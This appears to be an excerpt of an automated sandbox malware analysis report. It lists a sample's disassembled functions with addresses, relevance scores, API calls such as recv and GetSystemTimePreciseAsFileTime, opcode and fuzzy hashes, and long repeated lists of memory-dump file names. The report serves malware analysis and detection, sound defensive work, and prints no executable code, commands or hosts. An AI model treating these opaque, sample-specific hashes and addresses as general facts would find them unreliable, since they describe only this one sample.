Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 359212a5cc7fff81e2933688c0ffaa359665bd297c7a9de0a8172f57ce1ec8eb
Instruction ID: 67bc127ba519318ec942f1eb066ba02febaef56dace69aa6f3cf57334365323d
Opcode Fuzzy Hash: 359212a5cc7fff81e2933688c0ffaa359665bd297c7a9de0a8172f57ce1ec8eb
Instruction Fuzzy Hash: 14C22B71E086288FDB65CE28DD807EAB7F5EB48705F2441EAD84DE7240E775AE858F40

Function 00AFE0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 00AFE10B
recv.WS2_32(?,?,00000008,00000000), ref: 00AFE140

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 032a87a90aaa44fb4c03c579fe52660ca43376b8e85e6289eb3dd5ba4a56e8d6
Instruction ID: 5fd2b391f7cb24ac06e0a63c89c630684404c7196b8ec4924d3ee417edee6b23
Opcode Fuzzy Hash: 032a87a90aaa44fb4c03c579fe52660ca43376b8e85e6289eb3dd5ba4a56e8d6
Instruction Fuzzy Hash: A731E771A002489BD720CBA9DC85BFF7BB8EB18724F000665F614E73E1DB74A8448B60

Function 00B32D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: b6f3200bfb9c31e4185475fc531e8ff588c046d664db582916f7b43a12cfe437
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: F8F12E71E002199FDF14CFA8C9906AEB7F1FF48714F2582A9D919AB344D731AE41CB90

Function 00B0CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00B0CF52,?,00000003,00000003,?,00B0CF87,?,?,?,00000003,00000003,?,00B0C4FD,00AF2FB9,00000001), ref: 00B0CC03

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: d2108083f939e831f5a4ba59dea515caf951221ef477296c3667710c667f94d1
Instruction ID: 430eee9b0b71bfbd557ca8ce331aaa5e25e43149b5ca92cad4e51d6b2d628041
Opcode Fuzzy Hash: d2108083f939e831f5a4ba59dea515caf951221ef477296c3667710c667f94d1
Instruction Fuzzy Hash: C8D0223250213893DA623B84EC008ACBFC8DF06B153100291EE0D131A0CFA0BC004BE0

Function 00B27F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00B280B2

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 9a6e6b8c1e5c94d9c2aa13dcde17b580b4296706216a35a41c64f5e905b39516
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: CC51BD3024D6B45ADB388A28B9D67BF67CADF15300F1405E9E44EE72C2CE129D49835A

Function 00AF4DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5d8bab15ee21a51e1dca56432c38254503257a0838ab7436dc445242ec67475
Instruction ID: 4fdc76cff2a283710467834479a045a31402d10736e91eeb047309f332d21ecc
Opcode Fuzzy Hash: b5d8bab15ee21a51e1dca56432c38254503257a0838ab7436dc445242ec67475
Instruction Fuzzy Hash: 872251B3F516144BDB4CCB5DDCA27EDB2E3AFD8214B0E803DA40AE3345EA79D9158644

Function 00B37049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
